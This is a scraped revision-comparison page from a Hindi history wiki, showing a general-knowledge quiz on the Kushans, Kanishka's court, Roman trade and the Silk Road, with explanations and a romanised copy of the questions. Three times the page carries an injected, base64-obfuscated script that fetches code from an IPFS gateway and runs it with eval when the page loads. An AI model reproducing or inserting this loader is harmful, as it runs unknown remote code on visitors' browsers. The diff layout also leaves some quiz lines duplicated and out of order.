Difference between revisions of "इतिहास सामान्य ज्ञान 16"

भारत डिस्कवरी प्रस्तुति
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||युइशि लोगों के पाँच राज्यों में अन्यतम का कुएई-शुआंगा था। 25 ई. पू. के लगभग इस राज्य का स्वामी कुषाण नाम का वीर पुरुष हुआ, जिसके शासन में इस राज्य की बहुत उन्नति हुई। उसने धीरे-धीरे अन्य युइशि राज्यों को जीतकर अपने अधीन कर लिया। {{point}}अधिक जानकारी के लिए देखें-: [[कुषाण]]  
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||'युइशि जाति', जिसे 'यूची क़बीला' के नाम से भी जाना जाता है, का मूल अभिजन [[तिब्बत]] के उत्तर-पश्चिम में 'तकला मक़ान' की मरुभूमि के सीमान्त क्षेत्र में था। इस समय वहाँ हूणों के आक्रमण प्रारम्भ हो चुके थे। युइशि लोगों के लिए यह सम्भव नहीं था कि वे बर्बर और प्रचण्ड [[हूण]] आक्रान्ताओं का मुक़ाबला कर सकते। वे अपने अभिजन को छोड़कर पश्चिम व दक्षिण की ओर जाने के लिए विवश हुए। उस समय सीर नदी की घाटी में [[शक]] जाति का निवास था। यूची क़बीले के लोगों ने [[कुषाण वंश]] प्रारम्भ किया।{{point}}अधिक जानकारी के लिए देखें-:[[कुषाण]]  
  
 
{प्राचीन [[भारत]] में सर्वप्रथम किस वंश के शासकों ने 'द्वैध शासन प्रणाली' की शुरुआत की?
 
{प्राचीन [[भारत]] में सर्वप्रथम किस वंश के शासकों ने 'द्वैध शासन प्रणाली' की शुरुआत की?
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-[[मौर्य|मौर्यों]] ने
 
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||युइशि लोगों के पाँच राज्यों में अन्यतम का कुएई-शुआंगा था। 25 ई. पू. के लगभग इस राज्य का स्वामी कुषाण नाम का वीर पुरुष हुआ, जिसके शासन में इस राज्य की बहुत उन्नति हुई। उसने धीरे-धीरे अन्य युइशि राज्यों को जीतकर अपने अधीन कर लिया। {{point}}अधिक जानकारी के लिए देखें-: [[कुषाण]]  
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||'कुषाण' भी शकों की ही तरह मध्य [[एशिया]] से निकाले जाने पर [[क़ाबुल]]-[[कंधार]] की ओर यहाँ आ गये थे। उस काल में यहाँ के हिन्दी यूनानियों की शक्ति कम हो गई थी, उन्हें कुषाणों ने सरलता से पराजित कर दिया। उसके बाद उन्होंने क़ाबुल-कंधार पर अपना राज्याधिकार कायम किया। उनके प्रथम राजा का नाम [[कुजुल कडफ़ाइसिस]] था। उसने क़ाबुल–कंधार के यवनों (हिन्दी यूनानियों) को हराकर [[भारत]] की उत्तर-पश्चिमी सीमा पर बसे हुए पह्लवों को भी पराजित कर दिया।{{point}}अधिक जानकारी के लिए देखें-:[[कुषाण साम्राज्य|कुषाण]]  
  
 
{निम्न में से किस विद्वान ने [[कनिष्क]] की राजसभा को सुशोभित नहीं किया?
 
{निम्न में से किस विद्वान ने [[कनिष्क]] की राजसभा को सुशोभित नहीं किया?
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-[[नागार्जुन]]
 
-[[नागार्जुन]]
 
-वसुमित्र
 
-वसुमित्र
+बसुबन्धु
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+[[वसुबन्धु बौद्धाचार्य|वसुबन्धु]]
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||[[बौद्ध]] जगत में आचार्य 'वसुबन्धु' के प्रकाण्ड पाण्डित्य और शास्त्रार्थ-पटुता की बड़ी प्रतिष्ठा है। अपनी अनेक कृतियों द्वारा उन्होंने [[बुद्ध]] के मन्तव्य का लोक में प्रसार करके लोक का महान कल्याण सिद्ध किया है। उनके इस परहित कृत्य को देखकर विद्वानों ने उन्हें 'द्वितीय बुद्ध' की उपाधि से विभूषित किया। आचार्य [[वसुबन्धु बौद्धाचार्य|वसुबन्धु]] शास्त्रार्थ में अत्यन्त निपुण थे। उन्होंने महावैयाकरण वसुरात को शास्त्रार्थ में पराजित किया था। सुना जाता है कि सांख्याचार्य विन्ध्यवासी ने उनके गुरु बुद्धमित्र को पराजित कर दिया था। इस पराजय का बदला लेने वसुबन्धु विन्ध्यवासी के पास शास्त्रार्थ करने पहुँचे, किन्तु तब तक विन्ध्यवासी का निधन हो गया था।{{point}}अधिक जानकारी के लिए देखें:-[[वसुबन्धु बौद्धाचार्य|बसुबन्धु]]
  
{सर्वप्रथम रोम के साथ किन लोगों का व्यापार प्रारम्भ हुआ?
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{सर्वप्रथम [[रोम]] के साथ किन लोगों का व्यापार प्रारम्भ हुआ?
 
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-[[कुषाण|कुषाणों]] का
 
-[[कुषाण|कुषाणों]] का
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-[[शक|शकों]] का
 
-[[शक|शकों]] का
  
{प्रसिद्ध 'रेशम मार्ग' पर किस वंश के शासकों का अधिकार था?
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{प्रसिद्ध '[[रेशम मार्ग]]' पर किस वंश के शासकों का अधिकार था?
 
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-[[मौर्य|मौर्यों]] का  
 
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+[[कुषाण|कुषाणों]] का
 
+[[कुषाण|कुषाणों]] का
 
-[[गुप्त वंश|गुप्तों]] का
 
-[[गुप्त वंश|गुप्तों]] का
||युइशि लोगों के पाँच राज्यों में अन्यतम का कुएई-शुआंगा था। 25 ई. पू. के लगभग इस राज्य का स्वामी कुषाण नाम का वीर पुरुष हुआ, जिसके शासन में इस राज्य की बहुत उन्नति हुई। उसने धीरे-धीरे अन्य युइशि राज्यों को जीतकर अपने अधीन कर लिया। {{point}}अधिक जानकारी के लिए देखें-: [[कुषाण]]
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||युइशि लोगों के पाँच राज्यों में अन्यतम कुएई-शुआंगा था। 25 ई. पू. के लगभग इस राज्य का स्वामी 'कुषाण' नाम का वीर पुरुष हुआ, जिसके शासन में इस राज्य की बहुत उन्नति हुई। उसने धीरे-धीरे अन्य युइशि राज्यों को जीतकर अपने अधीन कर लिया। वह केवल युइशि राज्यों को जीतकर ही संतुष्ट नहीं हुआ, अपितु उसने समीप के पार्थियन और [[शक]] राज्यों पर भी आक्रमण किए। अनेक इतिहासकारों का मत है कि [[कुषाण]] किसी व्यक्ति विशेष का नाम नहीं था। यह नाम [[युइशि जाति]] की उस शाखा का था, जिसने अन्य चारों युइशि राज्यों को जीतकर अपने अधीन कर लिया था।{{point}}अधिक जानकारी के लिए देखें:-[[कुषाण]]
  
 
{किस काल में अछूत की अवधारणा स्पष्ट रूप से उदित हुयी?
 
{किस काल में अछूत की अवधारणा स्पष्ट रूप से उदित हुयी?
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-उत्तर-गुप्त काल
 
-उत्तर-गुप्त काल
  
{प्राचीन [[भारत]] में 'निष्क' से जाने जाते थे?
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{प्राचीन [[भारत]] में 'निष्क' नाम से किसे जाना जाता था?
 
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+स्वर्ण आभूषण
 
+स्वर्ण आभूषण

Revision as of 08:20, 28 April 2012

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 kis devata ke lie rrigved mean 'purandar' shabd ka prayog hua hai?

iandr
agni
varun
som

2 'asato ma sadagamay' kahaan se liya gaya hai?

rrigved
yajurved
atharvaved
samaved

3 ary bharat mean bahar se ae. ve sarvapratham kis sthan par base the?

samatat mean
pragajyotish mean
panjab mean
paanchal mean

4 vaisheshik darshan ke pratipadak kaun haian?

kapil
akshapad gautam
ulook kanad
patanjali

5 'gotr vyavastha' prachalan mean kab aee?

rrigvaidik kal mean
uttar vaidik kal mean
mahakavy kal mean
sootrakal mean

6 kis raja ke shasanakal mean eesaee dharm pracharak 'seant th aaumas' bharat aya?

minandar
rudradaman
gondofairas
kanishk

7 satavahan shasakoan ki rajakiy bhasha kya thi?

pali
sanskrit
prakrit
uparyukt mean se koee nahian

8 kis kushan shasak ne sarvadhik svarn mudrayean jari kian?

kadafaisis pratham
kadafaisis dvitiy
kanishk
vim kadafaisis

9 kis vansh ke shasakoan ne 'kshatrap pranali' ka prayog kiya?

kushanoan ne
hind-yavanoan ne
eeraniyoan ne
shakoan ne

10 prachin bharat mean sarvapratham kis vansh ke shasakoan ne 'dvaidh shasan pranali' ki shuruat ki?

shakoan ne
guptoan ne
kushanoan ne
mauryoan ne

11 nimn mean se kis vidvan ne kanishk ki rajasabha ko sushobhit nahian kiya?

ashvaghosh
nagarjun
vasumitr
vasubandhu

12 sarvapratham rom ke sath kin logoan ka vyapar prarambh hua?

kushanoan ka
tamiloan evan cheroan ka
vakatakoan ka
shakoan ka

13 prasiddh 'resham marg' par kis vansh ke shasakoan ka adhikar tha?

mauryoan ka
shakoan ka
kushanoan ka
guptoan ka

14 kis kal mean achhoot ki avadharana spasht roop se udit huyi?

rrigvaidik kal
uttar vaidik kal
dharmashastr ke kal
uttar-gupt kal

15 prachin bharat mean 'nishk' nam se kise jana jata tha?

svarn abhooshan
gayean
taanbe ke sikke
chaandi ke sikke

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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